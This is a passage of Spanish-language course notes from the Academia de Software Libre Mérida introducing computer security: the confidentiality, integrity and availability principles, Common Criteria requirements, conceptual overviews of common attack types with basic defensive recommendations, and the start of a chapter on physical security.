- Academia de Software Libre Mérida

Anuncio
Capítulo I
Introducción a la seguridad informática
En este documento se tratará la seguridad desde el punto de vista del programador, es decir, de
aquello que tenemos que tener en cuenta en las etapas de diseño y codificación de los
programas. Se describirán algunos errores de programación habituales que tienen implicaciones
desde el punto de vista de la seguridad, daremos ejemplos de como se han usado para romper la
seguridad de aplicaciones reales y comentaremos técnicas para detectar y corregir estos errores.
¿Qué es la seguridad informática?
http://alerta-antivirus.red.es/seguridad/ver_pag.html?tema=S&articulo=4&pagina=7
La seguridad informática consisten en
La seguridad informática, generalmente consiste en asegurar que los recursos del sistema de
información (Material informático o programas) de una organización sean utilizados de la
manera que se decidió.
La seguridad informática busca la protección contra los riesgos liados a la informática. Los
riesgos son en función de varios elementos:
● las amenazas que pesan sobre los activos (datos) a proteger
● las vulnerabilidades de estos activos
● su sensibilidad, la cual es la conjunción de diferentes factores:
● la confidencialidad,
● la integridad
● la disponibilidad o accesiblidad
Hablar de seguridad informática en el momento actual no parece que suponga un alarde de
modernidad y novedad. Con el desarrollo de los ordenadores personales, la vertiginosa
evolución de Internet, la implantación del comercio electrónico y el impulso de la denominada
"Sociedad de la Información", todo el mundo habla, sabe y se preocupa de la seguridad en estos
ámbitos. De una estructura informática basada en sistemas propietarios y grandes servidores
manejada por personal técnico, con una formación muy específica y alejada del conocimiento
del común de los mortales, se ha evolucionado a otra más amigable y cercana al usuario final.
Ello ha supuesto que los niveles iniciales de conocimiento sean rápidamente adquiridos por
cualquier persona interesada, sin especiales conocimientos técnicos en la materia. La
"globalización" en el conocimiento ha supuesto una quiebra de la seguridad de tiempos pasados
amparada, en gran medida, en un cierto ocultismo. Entendiendo que los sistemas anteriores no
eran más seguros que los actuales, tan sólo eran mucho más desconocidos.
Existe una cierta tendencia a minimizar el ámbito de actuación del aspecto de la seguridad en el
mundo de la Informática. Se cae, habitualmente, en abordar la implantación de la seguridad
como respuesta a un problema o situación específica, sin estudiar todos los elementos que
puedan estar relacionados. Si hablamos de una plataforma web abierta a Internet, la seguridad
no es responder si instalamos tal o cual cortafuegos, es bastante más que eso: sistemas de
alimentación ininterrumpida para máquinas críticas, duplicidad de almacenamiento, control
físico, auditoría de conexiones internas y externas, blindaje de ficheros de sistema, control de
modificación de ficheros, monitorización de tráfico de red, política de salvaguardas y muchas
más.
Un concepto global de seguridad informática sería aquel definido como el conjunto de
procedimientos y actuaciones encaminados a conseguir la garantía de funcionamiento del
sistema de información, obteniendo eficacia, entendida como el cumplimiento de la finalidad
para el que estaba establecido, manteniendo la integridad, entendida como la inalterabilidad del
sistema por agente externo al mismo, y alertando la detección de actividad ajena, entendida
como el control de la interacción de elementos externos al propio sistema. Si conseguimos todo
esto, tarea harto difícil vaya por delante, podremos decir que disponemos de un sistema seguro.
Ya hemos comentado el concepto pero sobre qué lo aplicamos, qué es lo que hay que proteger.
En el mundo de la Informática se utiliza habitualmente una división en dos grandes áreas que
denominamos Hardware y Software.
Dentro del área del Hardware los objetos de nuestra atención son fundamentalmente tres:
servidores, clientes y líneas de comunicaciones.
Los servidores, especialmente en instalaciones intermedias y grandes, suelen estar situados
agrupados y en dependencias específicas como centros de procesos de datos. El acceso a dichas
instalaciones debe estar controlado y auditado con reflejo del personal y material que entra y
sale del mismo. La alimentación eléctrica debe garantizarse con sistemas ininterrumpidos para
responder a pequeños cortes de corriente y con medios alternativos ante grandes cortes. Los
medios de almacenamiento deben duplicarse o cuando menos garantizar la recuperación de la
información ante problemas de discos, además de garantizar la duplicidad de accesos caso de
baterías de discos o cintas externas. Para grandes servidores hay que habilitar desde duplicidad
de accesos a placas de sistema hasta soluciones de alta disponibilidad entre dominios o
máquinas. Se deben disponer de elementos de salvaguarda alternativos para cubrir posibles
averías. El control de la consola principal del sistema y su conectividad a la máquina que nos
permita acceder al sistema, caso de pérdida de acceso remoto a la misma, es otro de los
aspectos a los que prestar atención.
Los clientes, entendidos como aquellos equipos remotos que interactúan entre sí o con los
servidores, han tenido un desarrollo enorme en los últimos tiempos. Pasar de los denominados
"terminales tontos" a ordenadores personales que a título individual se constituyen como
máquinas autónomas, y dentro de una red se mantienen como tales, además de adornarse de
toda la potencialidad que les da la propia red supone un cambio significativo para la seguridad.
Es imprescindible habilitar procedimientos para conseguir la identificación física de los
distintos equipos, fundamentalmente por captura de la dirección MAC de las tarjetas de
comunicaciones. Los accesos remotos empleados para mantenimiento o tareas periódicas
exigen un control de actividad incluso física. La posibilidad de realizar actividades
desatendidas sobre servidores, desde equipos cliente, deben garantizar la integridad funcional
de todos los elementos que intervienen por lo que deben revisarse procedimientos
regularmente.
Las líneas de comunicaciones, de las que todo el mundo se preocupa de incrementar pero muy
poco de controlar su actividad y uso. Una adecuada segmentación de la red además de mejorar
su funcionamiento ayudará enormemente a su seguridad. La eliminación de los cuellos de
botella y el estudio de las razones de que ocurra permitirá eliminar posibles quiebras de
seguridad del sistema. La cifra de canales y la información que circula a través de ellos
permitirá garantizar la confidencialidad, la integridad y el no repudio de la misma. A este
respecto hay que hacer mención al avance que ha supuesto el empleo de las certificaciones
digitales y el establecimiento de los procesos de firma digital, impulsados directamente por el
comercio electrónico y el desarrollo de la denominada Sociedad de la Información.
Todo lo reflejado hasta el momento, además de otras consideraciones como mentalización,
conocimiento y planificación, tiene un condicionante fundamental y se llama dinero. En la
medida en la que queramos un sistema más seguro tendremos que contemplar una inversión
económica mayor. El cliente tendrá que decidir, ponga en la balanza dinero y nivel de
seguridad a alcanzar y encontrará el equilibrio.
Dentro del área de Software los objetos de nuestra atención son también tres: sistema
operativo, bases de datos y aplicaciones.
El o los sistemas operativos de nuestro sistema de información son la base del funcionamiento
lógico del mismo, todo lo que esté alojado en el mismo estará íntimamente condicionado a la
elección del sistema operativo y a su configuración personalizada. Un aspecto a vigilar desde el
punto de vista de la seguridad es la elección de una versión y configuración estable, no hay que
caer en la tentación de estar siempre a la última porque muchas veces lo único que
conseguimos es hacer de conejillos de indias. Naturalmente antes de eso hay que elegir qué
sistema instalar, casi todos son más o menos multipropósito pero cada uno está programado
pensando en criterios diferentes en algo. Otro punto a tener en cuenta es el establecimiento de
elementos alternativos de arranque que nos permitan hacer frente a incidencias que ocurren en
el día a día, un sistema que permite arranque desde cinta es un auténtico seguro de vida. Hay
que acordarse de activar las auditorías propias del sistema que nos va a dar información básica
de actividad de aspectos críticos, caso de no disponer de herramientas propias, lo que es difícil
que se dé, hay que invertir inexcusablemente en un desarrollo específico. Normalmente esas
auditorías intrínsecas dan como resultado ficheros que se denominan genéricamente de logs. Se
debe establecer una política de salvaguardas que permita, ante cualquier fallo crítico,
restablecer una situación estable lo más próxima al momento anterior en que surgió la
incidencia. Hay que evitar en lo posible las instalaciones "tipo" por las facilidades que presenta
de conocimiento del sistema ante un eventual agresor. La consabida política de usuarios
plasmada en una adecuada parcelación de niveles de acceso y en una estricta disciplina de
palabras de paso, todos conocemos la teoría y ninguno la aplicamos, craso error. Hay que
contemplar el control de ficheros en su propiedad y niveles de ejecución para detectar
alteraciones en los mismos. La alteración en tamaño y fecha de ficheros básicos de
configuración y actividad de sistema son indicios más que racionales de que puede existir una
quiebra de la seguridad.
Por lo que respecta a bases de datos tendríamos que repetir mucho de lo expuesto con
anterioridad para los sistemas operativos. En el caso de las bases de datos es importante,
además de contar con salvaguardas recientes, el contar con réplicas de la misma a tiempo real
lo que permite minimizar el impacto de una quiebra de la integridad en la base explotada.
Cuando hablamos de aplicaciones hacemos referencia a aquellos programas que de una u otra
manera nos permiten explotar las funcionalidades de nuestro sistema de información. Una vez
en explotación es fundamental el control de la actividad de los usuarios para conocer en todo
momento quién y qué está haciendo. Este aspecto se lo plantea todo el mundo pero algo que
suele caer en el olvido es la fase de desarrollo de la aplicación. En el proceso de generación del
programa se debe controlar todo el proyecto, las validaciones que se realicen y quedarse en
poder del código fuente y posteriores modificaciones, con el objeto de poder filtrar aquel
código erróneo o malicioso que pueda incorporar la aplicación.
Estamos hablando mucho de seguridad pero por qué?, cuál es la razón de tanta preocupación?
El porqué de la seguridad viene derivado de tres aspectos fundamentales.
En primer lugar para garantizar el correcto funcionamiento del sistema de información. Toda la
inversión que se haga de nada servirá si no conseguimos alcanzar la funcionalidad para la que
se creó el sistema.
En segundo lugar, por prestigio y futuro del sistema y, por extensión, de la Aministración
Pública de la empresa o Institución. Qué provocaría el conocimiento de una quiebra de
seguridad del sistema informático de la FAN, PDVSA, o en algunos ministerios, pérdida de
información de años de historia, poseedor de bases de datos referidas desde a terrorismo hasta
narcotráfico pasando por datos personales presupuestos, nóminas, creo que sobran comentarios.
Ello no quiere decir que caigamos en evitar todas aquellas funcionalidades que puedan suponer
una quiebra en la seguridad, lo que hay que plantearse es más funcionalidad con más seguridad.
Por último, pero no por ello menos importante, por una razón de imperativo legal. La Gaceta
Oficial de la República Bolivariana de Venezuela La Asamblea Nacional de la República
Bolivariana de Venezuela Decreta La Ley Especial contra los Delitos Informáticos, la cual
tiene por objeto la protección integral de los sistemas que utilicen tecnologías de información,
así como la prevención y sanción de los delitos cometidos contra tales sistemas o cualquiera de
sus componentes o los cometidos mediante el uso de dichas tecnologías, en los términos
previstos en esta ley.
Fuente:
http://www.gobiernoenlinea.gob.ve/docMgr/sharedfiles/LeyEspecialcontraDelitosInformaticos.
pdf
Principios de seguridad
En general se suele decir que los tres objetivos fundamentales de la seguridad informática son:
Confidencialidad; el acceso a los activos del sistema está limitado a usuarios autorizados.
Integridad: los activos del sistema sólo pueden ser borrados o modificados por usuarios
autorizados.
Disponibilidad: el acceso a los activos en un tiempo razonable está garantizado para usuarios
autorizados.
¿Por qué se escriben programas inseguros?
Hay poca bibliografía y la formación específica de los programadores es escasa.
Es difícil programar de manera segura; no se suelen usar metodos de verificación formal.
La seguridad no es un requisito a la hora de elegir un programa, por lo que se suele obviar.
La seguridad incrementa los costes económicos y requiere más tiempo y esfuerzo en el
desarrollo e implantación de aplicaciones.
Identificación de requisitos de seguridad
Common Criteria o CC (ISO/IEC 15408:1999): estándar internacional para identificar y definir
requisitos de seguridad. Se suele emplear para redactar dos tipos de documentos:
Perfil de protección (Protection Profile o PP): es un documento que define las propiedades de
seguridad que se desea que tenga un producto; básicamente se trata de un listado de requisitos
de seguridad.
Objetivo de seguridad (Security Target o ST): es un documento que describe lo que hace un
producto que es relevante desde el punto de vista de la seguridad.
Entorno y objetivos de seguridad
El primer paso para redactar un PP o un ST es identificar el entorno de seguridad: ¿En qué
entorno vamos a trabajar? ¿Qué activos debemos proteger? ¿Para que se va a usar el producto?
A partir de esta identificación obtenemos una serie de supuestos sobre el entorno (tipos de
usuarios, tipo de red, etc.), una lista de posibles amenazas y una descripción de las políticas de
seguridad de la organización.
Por último se define un conjunto de objetivos de seguridad, demostrando que con ellos se
combaten las amenazas y se cumplen las políticas.
Requisitos funcionales
Los CC definen un conjunto de requisitos funcionales de seguridad que puede necesitar una
aplicación:
Auditoría de Seguridad: permitir el registro de eventos (hay que identificar cuales pueden ser
interesantes desde el punto de vista de la seguridad).
No rechazo (Non-repudiation): uso de técnicas para verificar la identidad del emisor y/o el
receptor de un mensaje.
Soporte criptográfico: si se usa criptografía ¿qué operaciones la usan? ¿que algoritmos y
tamaños de clave se utilizan? ¿cómo se gestionan las claves?
Protección de datos de usuario: especificar una política para la gestión de datos de usuario
(control de acceso y reglas de flujo de información).
Identificación y autenticación: uso de técnicas de validación de identidad.
Gestión de seguridad: definición de perfiles de usuario y niveles de acceso asociados.
Privacidad: soporte del anonimato de los usuarios.
Autodefensa: la aplicación debe incluir sistemas de validación de su funcionamiento y fallar de
manera segura si esa validación no se cumple.
Utilización de recursos: soporte a la asignación de recursos, tolerancia a fallos.
Control de acceso: soporte de sistemas que limiten el número y tipo de sesiones, el nivel de
concurrencia y que proporcionen información sobre sesiones anteriores al usuario para ayudar a
la detección de intrusos.
Rutas o canales fiables: existencia de mecanismos que permitan al usuario identificar que
accede a la aplicación real (p. ej. certificados digitales) evitando ataques del tipo hombre en el
medio.
Aspectos a considerar
Para desarrollar una aplicación segura deberemos tener en cuenta los siguientes aspectos:
1.Control de la entrada: validar todas las entradas
2.Gestión de memoria: desbordamiento de buffers
3.Estructura interna y diseño del programa.
4.Llamadas a recursos externos: bibliotecas, scripts
5.Control de la salida: formato, restricciones
6.Problemas de los lenguajes de programación.
7.Otros: algoritmos criptográficos, de autentificación
Confidencialidad, integridad y disponibilidad de la
información
Los posibles ataques son una amenaza constante a nuestros sistemas y pueden comprometer su
funcionamiento, así como los datos que manejamos; ante todo lo cual, siempre tenemos que
definir una cierta política de requerimientos de seguridad sobre nuestros sistemas y datos. Las
amenazas que podemos sufrir podrían afectar a los aspectos siguientes:
Confidencialidad: la información debe ser accesible sólo a aquellos que estén autorizados;
estamos respondiendo a la pregunta: ¿quién podrá acceder a la misma?
La confidencialidad intenta prevenir la revelación no autorizada, intencional o no, del
contenido de un mensaje o de información en general. La pérdida de información puede
producirse de muchas maneras, por ejemplo, por medio de la publicación intencional de
información confidencial de una organización o por medio de un mal uso de los derechos de
acceso en un sistema.
Integridad: la información sólo podrá ser modificada por aquellos que estén autorizados: ¿qué
se podrá hacer con ella?
La integridad asegura que:
No se realizan modificaciones de datos en un sistema por personal o procesos no autorizados.
No se realizan modificaciones no autorizadas de datos por personal o procesos autorizados.
Los datos son consistentes, es decir, la información interna es consistente entre si misma y
respecto de la situación real externa.
Disponibilidad: la información tiene que estar disponible para quienes la necesiten y cuando la
necesiten, si están autorizados: ¿de qué manera, y cuándo se podrá acceder a ella?
La disponibilidad asegura que el acceso a los datos o a los recursos de información por
personal autorizado se produce correctamente y en tiempo. Es decir, la disponibilidad garantiza
que los sistemas funcionan cuando se les necesita.
Lo contrario de la confidencialidad, integridad y la disponibilidad son la revelación, la
modificación y la destrucción.
Por tanto, la confidencialidad, la integridad y la disponibilidad son unos conceptos claves en el
ámbito de la seguridad de la información y por ende en el desarrollo de aplicaciones.
Capítulo II
Tipos y métodos de los ataques
Técnicas utilizadas en los ataques
Los métodos utilizados son múltiples y pueden depender de un elemento (hardware o software)
o de la versión de éste. Por lo tanto, hay que mantener actualizado el software para las
correcciones de seguridad que vayan apareciendo, y seguir las indicaciones del fabricante o
distribuidor para proteger el elemento. A pesar de ello, normalmente siempre hay técnicas o
métodos de moda , del momento actual, algunas breves indicaciones de estas técnicas de
ataque (de hoy en día) son:
A pesar de ello, normalmente siempre hay técnicas o métodos de moda , del momento actual,
algunas breves indicaciones de estas técnicas de ataque (de hoy en día) son:
Bug exploits: o explotación de errores o agujeros [CER03b] [Ins98][San03], ya sea de un
hardware, software, servicio, protocolo o del propio sistema operativo (por ejemplo, en el
kernel), y normalmente de alguna de las versiones de éstos en concreto. Normalmente,
cualquier elemento informático es más o menos propenso a errores en su concepción, o
simplemente a cosas que no se han tenido en cuenta o previsto. Periódicamente, se descubren
agujeros (a veces se denominan holes, exploits, o simplemente bugs, ...), que pueden ser
aprovechados por un atacante para romper la seguridad de los sistemas. Suelen utilizarse o bien
técnicas de ataque genéricas, como las que se explican a continuación, o bien técnicas
particulares para el elemento afectado. Cada elemento afectado tendrá un responsable ya sea
fabricante, desarrollador, distribuidor o la comunidad GNU/Linux de producir nuevas
versiones o parches para tratar estos problemas. Nosotros, como administradores, tenemos la
responsabilidad de estar informados y de mantener una política de actualización responsable
para evitar los riesgos potenciales de estos ataques. En caso de que no haya soluciones
disponibles, también podemos estudiar la posibilidad de utilizar alternativas al elemento, o bien
inhabilitarlo hasta que tengamos soluciones.
Virus: programa normalmente anexo a otros y que utiliza mecanismos de autocopia y
transmisión. Son habituales los virus anexados a programas ejecutables, a mensajes de correo
electrónico, o incorporados en documentos o programas que permiten algún lenguaje de macros
(no verificado). Son quizás la mayor plaga de seguridad de hoy en día.
Los sistemas GNU/Linux están protegidos casi totalmente contra estos mecanismos por varias
razones: en los programas ejecutables, tienen un acceso muy limitado al sistema, en particular a
la cuenta del usuario. Con excepción del usuario root, con el cual hay que tener mucho cuidado
con lo que éste ejecuta. El correo no suele utilizar lenguajes de macros no verificados (como en
el caso de Outlook y Visual Basic Script en Windows, que es un agujero de entrada de virus), y
en el caso de los documentos, estamos en condiciones parecidas, ya que no soportan lenguajes
de macros no verificados (como el VBA en Microsoft Office).
En todo caso, habrá que prestar atención a lo que pueda pasar en un futuro, ya que podrían
surgir algunos virus específicos para Linux aprovechando algunos bugs o exploits. Un punto
que sí que hay que tener en cuenta es el de los sistemas de correo, ya que si bien nosotros no
generaremos virus, sí que podemos llegar a transmitirlos; por ejemplo, si nuestro sistema
funciona como router de correo, podrían llegar mensajes con virus que podrían ser enviados a
otros. Aquí se puede implementar alguna política de detección y filtrado de virus. Otra forma
de azote de plagas que podría entrar dentro de la categoría de virus son los mensajes de spam,
que si bien no suelen ser utilizados como elementos atacantes, sí que podemos considerarlos
como problemas por su virulencia de aparición, y el coste económico que pueden causar
(pérdidas de tiempo y recursos).
Worm (o gusano ): normalmente se trata de un tipo de programas que aprovechan algún
agujero del sistema para realizar ejecuciones de código sin permiso. Suelen ser utilizados para
aprovechar recursos de la máquina, como el uso de CPU, bien cuando se detecta que el sistema
no funciona o no está en uso, o bien si son malintencionados, con el objetivo de robar recursos
o bien utilizarlos para parar o bloquear el sistema. También suelen utilizar técnicas de
transmisión y copia.
Trojan Horse (o caballos de Troya , o troyanos ): programas útiles que incorporan alguna
funcionalidad, pero ocultan otras que son las utilizadas para obtener información del sistema o
comprometerlo. Un caso particular puede ser el de los códigos de tipo móvil en aplicaciones
web, como los Java, JavaScript o ActiveX; éstos normalmente piden su consentimiento para
ejecutarse (ActiveX en Windows), o tienen modelos limitados de lo que pueden hacer (Java,
JavaScript). Pero como todo software, también tienen agujeros y son un método ideal para
transmitir troyanos.
Back Door (o trap door, puerta trasera ): método de acceso a un programa escondido que puede
utilizarse con fines de otorgar acceso al sistema o a los datos manejados sin que lo
conozcamos. Otros efectos pueden ser cambiar la configuración del sistema, o permitir
introducir virus. El mecanismo usado puede ser desde venir incluidos en algún software común,
o bien en un troyano.
Bombas lógicas: programa incrustado en otro, que comprueba que se den algunas condiciones
(temporales, acciones del usuario, etc.), para activarse y emprender acciones no autorizadas.
Keyloggers: programa especial que se dedica a secuestrar las interacciones con el teclado del
usuario. Pueden ser programas individuales o bien troyanos incorporados en otros programas.
Normalmente, necesitarían introducirse en un sistema abierto al que se dispusiese de acceso. La
idea es captar cualquier introducción de teclas, de manera que se capturen contraseñas,
interacción con aplicaciones, sitios visitados por la red, formularios rellenados, etc.
Scanner (escaneo de puertos): más que un ataque, sería un paso previo, que consistiría en la
recolección de posibles objetivos. Básicamente, consiste en utilizar herramientas que permitan
examinar la red en busca de máquinas con puertos abiertos, sean TCP, UDP u otros protocolos,
los cuales indican presencia de algunos servicios. Por ejemplo, escanear máquinas buscando el
puerto 80 TCP, indica la presencia de servidores web, de los cuales podemos obtener
información sobre el servidor y la versión que utilizan para aprovecharnos de vulnerabilidades
conocidas.
Sniffers ( husmeadores ): permiten la captura de paquetes que circulan por una red. Con las
herramientas adecuadas podemos analizar comportamientos de máquinas: cuáles son
servidores, clientes, qué protocolos se utilizan y en muchos casos obtener contraseñas de
servicios no seguros. En un principio, fueron muy utilizados para capturar contraseñas de
telnet, rsh, rcp, ftp, ... servicios no seguros que no tendrían que utilizarse (usar en su lugar las
versiones seguras: ssh, scp, sftp). Tanto los sniffers (como los scanners) no son necesariamente
una herramienta de ataque, ya que también pueden servir para analizar nuestras redes y detectar
fallos, o simplemente analizar nuestro tráfico. Normalmente, tanto las técnicas de scanners
como las de sniffers suelen utilizarse por parte de un intruso con el objetivo de encontrar las
vulnerabilidades del sistema, ya sea para conocer datos de un sistema desconocido (scanners), o
bien para analizar la interacción interna (sniffer).
Hijacking (o secuestro ): son técnicas que intentan colocar una máquina de manera que
intercepte o reproduzca el funcionamiento de algún servicio en otra máquina que ha pinchado
la comunicación. Suelen ser habituales los casos para correo electrónico, transferencia de
ficheros o web. Por ejemplo, en el caso web, se puede capturar una sesión y reproducir lo que
el usuario está haciendo, páginas visitadas, interacción con formularios, etc.
Buffer overflows : técnica bastante compleja que aprovecha errores de programación en las
aplicaciones. La idea básica es aprovechar desbordamientos (overflows) en buffers de la
aplicación, ya sean colas, arrays, etc. Si no se controlan los límites, un programa atacante puede
generar un mensaje o dato más grande de lo esperado y provocar fallos. Por ejemplo, muchas
aplicaciones C con buffers mal escritos, en arrays, si sobrepasamos el límite podemos provocar
una sobreescritura del código del programa, causando malfuncionamiento o caída del servicio o
máquina. Es más, una variante más compleja permite incorporar en el ataque trozos de
programa (compilados C o bien shell scripts), que pueden permitir la ejecución de cualquier
código que el atacante quiera introducir.
Denial of Service ( ataque DoS ): este tipo de ataque provoca que la máquina caiga o que se
sobrecarguen uno o más servicios, de manera que no sean utilizables. Otra técnica es la DDoS
(Distributed DoS), que se basa en utilizar un conjunto de máquinas distribuidas para que
produzcan el ataque o sobrecarga de servicio. Este tipo de ataques se suelen solucionar con
actualizaciones del software, ya que normalmente se ven afectados aquellos servicios que no
fueron pensados para una carga de trabajo determinada y no se controla la saturación. Los
ataques DoS y DDoS son bastante utilizados en ataques a sitios web, o servidores DNS, los que
ven afectados por vulnerabilidades de los servidores, por ejemplo, de versiones concretas de
Apache o BIND. Otro aspecto por tener en cuenta es que nuestro sistema también podría ser
usado para ataques de tipo DDoS, mediante control ya sea de un backdoor o un troyano.
Un ejemplo de este ataque (DoS), bastante sencillo, es el conocido como SYN flood, que trata
de generar paquetes TCP que abren una conexión, pero ya no hacen nada más con ella,
simplemente la dejan abierta; esto gasta recursos del sistema en estructuras de datos del kernel,
y recursos de conexión por red. Si se repite este ataque centenares o miles de veces, se consigue
ocupar todos los recursos sin utilizarlos, de modo que cuando algunos usuarios quieran utilizar
el servicio, les sea denegado porque los recursos están ocupados. Otro caso conocido es el
correo bombing, o simplemente reenvío de correo (normalmente con emisor falso) hasta que se
saturan las cuentas de correo o el sistema de correo cae, o se vuelve tan lento que es
inutilizable. Estos ataques son en cierta medida sencillos de realizar, con las herramientas
adecuadas, y no tienen una solución fácil, ya que se aprovechan del funcionamiento interno de
los protocolos y servicios; en estos casos tenemos que tomar medidas de detección y control
posterior.
Recomendaciones para la seguridad
Algunas recomendaciones generales (muy básicas) para la seguridad, podrían ser:
Controlar un factor problemático, los usuarios: uno de los factores que puede afectar más a la
seguridad es la confidencialidad de las contraseñas, y ésta se ve afectada por el
comportamiento de los usuarios; esto facilita a posibles atacantes las acciones desde dentro del
propio sistema. La mayoría de los ataques suelen venir de dentro del sistema, o sea, una vez el
atacante ha ganado acceso al sistema.
Entre los usuarios, está aquel que es un poco olvidadizo (o indiscreto), que bien olvida la
contraseña cada dos por tres, lo menciona en conversaciones, lo escribe en un papel que olvida,
o que está junto (o pegado) al ordenador o sobre la mesa de trabajo, o que simplemente lo
presta a otros usuarios o conocidos. Otro tipo es el que pone contraseñas muy predecibles, ya
sea su mismo id de usuario, su nombre, su DNI, el nombre de su novia, el de su madre, el de su
perro, etc., cosas que con un mínimo de información pueden encontrarse fácilmente. Otro caso
son los usuarios normales con un cierto conocimiento, que colocan contraseñas válidas, pero
siempre hay que tener en cuenta que hay mecanismos que pueden encontrarlas (cracking de
passwords, sniffing, spoofing ...). Hay que establecer una cierta cultura de seguridad entre los
usuarios, y mediante técnicas obligarles a que cambien las contraseñas, no utilicen palabras
típicas, las contraseñas deben ser largas (tener más de 2 o 3 caracteres), etc. Últimamente, en
muchas empresas e instituciones se está implantando la técnica de hacer firmar un contrato al
usuario de manera que se le obliga a no divulgar la contraseña o cometer actos de vandalismo o
ataques desde su cuenta (claro que esto no impide que otros lo hagan por él).
No utilizar ni ejecutar programas de los que no podamos garantizar su origen. Normalmente,
muchos distribuidores utilizan mecanismos de comprobación de firmas para verificar que los
paquetes de software son tales, como por ejemplo las sumas md5 (comando md5sum) o la
utilización de firmas GPG (comando gpg). El vendedor o distribuidor provee una suma md5 de
su archivo (o imagen de CD), y podemos comprobar la autenticidad de éste.
No utilizar usuarios privilegiados (como root) para el trabajo normal de la máquina; cualquier
programa (o aplicación) tendría los permisos para acceder a cualquier parte.
No acceder remotamente con usuarios privilegiados ni ejecutar programas que puedan tener
privilegios. Y más, si no conocemos, o hemos comprobado, los niveles de seguridad del
sistema.
No utilizar elementos que no sabemos cómo actúan ni intentar descubrirlo a base de repetidas
ejecuciones.
Estas medidas pueden ser poco productivas, pero si no hemos asegurado el sistema, no
podemos tener ningún control sobre lo que puede pasar, y aun así, nadie asegura que no se
pueda colar algún programa malicioso que burlara la seguridad si lo ejecutamos con los
permisos adecuados. O sea, que en general hemos de tener mucho cuidado con todo este tipo de
actividades que supongan accesos y ejecución de tareas de formas más o menos privilegiadas.
Capítulo III
Seguridad física de los sistemas
Introducción
La seguridad física de los sistemas informáticos consiste en la aplicación de barreras físicas y
procedimientos de control como medidas de prevención y contramedidas contra las amenazas
a los recursos y la información confidencial. Más claramente, y particularizando para el caso
de equipos UNIX y sus centros de operación, por `seguridad física' podemos entender todas
aquellas mecanismos - generalmente de prevención y detección - destinados a proteger
físicamente cualquier recurso del sistema; estos recursos son desde un simple teclado hasta una
cinta de backup con toda la información que hay en el sistema, pasando por la propia CPU de la
máquina.
Desgraciadamente, la seguridad física es un aspecto olvidado con demasiada frecuencia a la
hora de hablar de seguridad informática en general; en muchas organizaciones se suelen tomar
medidas para prevenir o detectar accesos no autorizados o negaciones de servicio, pero rara vez
para prevenir la acción de un atacante que intenta acceder físicamente a la sala de operaciones
o al lugar donde se depositan las impresiones del sistema. Esto motiva que en determinadas
situaciones un atacante se decline por aprovechar vulnerabilidades físicas en lugar de lógicas,
ya que posiblemente le sea más fácil robar una cinta con una imagen completa del sistema que
intentar acceder a él mediante fallos en el software. Hemos de ser conscientes de que la
seguridad física es demasiado importante como para ignorarla: un ladrón que roba un
ordenador para venderlo, un incendio o un pirata que accede sin problemas a la sala de
operaciones nos pueden hacer mucho más daño que un intruso que intenta conectar
remotamente con una máquina no autorizada; no importa que utilicemos los más avanzados
medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una política de
firewalling muy restrictiva: si no tenemos en cuenta factores físicos, estos esfuerzos para
proteger nuestra información no van a servir de nada. Además, en el caso de organismos con
requerimientos de seguridad medios, unas medidas de seguridad físicas ejercen un efecto
disuasorio sobre la mayoría de piratas: como casi todos los atacantes de los equipos de estos
entornos son casuales (esto es, no tienen interés específico sobre nuestros equipos, sino sobre
cualquier equipo), si notan a través de medidas físicas que nuestra organización está
preocupada por la seguridad probablemente abandonarán el ataque para lanzarlo contra otra red
menos protegida.
Aunque como ya dijimos en la introducción este proyecto no puede centrarse en el diseño de
edificios resistentes a un terremoto o en la instalación de alarmas electrónicas, sí que se van a
intentar comentar ciertas medidas de prevención y detección que se han de tener en cuenta a la
hora de definir mecanismos y políticas para la seguridad de nuestros equipos. Pero hemos de
recordar que cada sitio es diferente, y por tanto también lo son sus necesidades de seguridad; de
esta forma, no se pueden dar recomendaciones específicas sino pautas generales a tener en
cuenta, que pueden variar desde el simple sentido común (como es el cerrar con llave la sala de
operaciones cuando salimos de ella) hasta medidas mucho más complejas, como la prevención
de radiaciones electromagnéticas de los equipos o la utilización de degaussers. En entornos
habituales suele ser suficiente con un poco de sentido común para conseguir una mínima
seguridad física; de cualquier forma, en cada institución se ha de analizar el valor de lo que se
quiere proteger y la probabilidad de las amenazas potenciales, para en función de los resultados
obtenidos diseñar un plan de seguridad adecuado. Por ejemplo, en una empresa ubicada en
Valencia quizás parezca absurdo hablar de la prevención ante terremotos (por ser esta un área
de bajo riesgo), pero no sucederá lo mismo en una universidad situada en una zona
sísmicamente activa; de la misma forma, en entornos de I+D es absurdo hablar de la
prevención ante un ataque nuclear, pero en sistemas militares esta amenaza se ha de tener en
cuenta.
Protección del hardware
El hardware es frecuentemente el elemento más caro de todo sistema informático. Por tanto,
las medidas encaminadas a asegurar su integridad son una parte importante de la seguridad
física de cualquier organización, especialmente en las dedicadas a I+D: universidades, centros
de investigación, institutos tecnológicos...suelen poseer entre sus equipos máquinas muy caras,
desde servidores con una gran potencia de cálculo hasta routers de última tecnología, pasando
por modernos sistemas de transmisión de datos como la fibra óptica.
Son muchas las amenazas al hardware de una instalación informática; aquí se van a presentar
algunas de ellas, sus posibles efectos y algunas soluciones, si no para evitar los problemas sí al
menos para minimizar sus efectos.
Acceso físico
La posibilidad de acceder físicamente a una máquina Unix - en general, a cualquier sistema
operativo - hace inútiles casi todas las medidas de seguridad que hayamos aplicado sobre ella:
hemos de pensar que si un atacante puede llegar con total libertad hasta una estación puede por
ejemplo abrir la CPU y llevarse un disco duro; sin necesidad de privilegios en el sistema, sin
importar la robustez de nuestros cortafuegos, sin nisiquiera una clave de usuario, el atacante
podrá seguramente modificar la información almacenada, destruirla o simplemente leerla.
Incluso sin llegar al extremo de desmontar la máquina, que quizás resulte algo exagerado en
entornos clásicos donde hay cierta vigilancia, como un laboratorio o una sala de informática, la
persona que accede al equipo puede pararlo o arrancar una versión diferente del sistema
operativo sin llamar mucho la atención. Si por ejemplo alguien accede a un laboratorio con
máquinas Linux, seguramente le resultará fácil utilizar un disco de arranque, montar los discos
duros de la máquina y extraer de ellos la información deseada; incluso es posible que utilice un
ramdisk con ciertas utilidades que constituyan una amenaza para otros equipos, como nukes o
sniffers.
Visto esto, parece claro que cierta seguridad física es necesaria para garantizar la seguridad
global de la red y los sistemas conectados a ella; evidentemente el nivel de seguridad física
depende completamente del entorno donde se ubiquen los puntos a proteger (no es necesario
hablar sólo de equipos Unix, sino de cualquier elemento físico que se pueda utilizar para
amenazar la seguridad, como una toma de red apartada en cualquier rincón de un edificio de
nuestra organización). Mientras que parte de los equipos estarán bien protegidos, por ejemplo
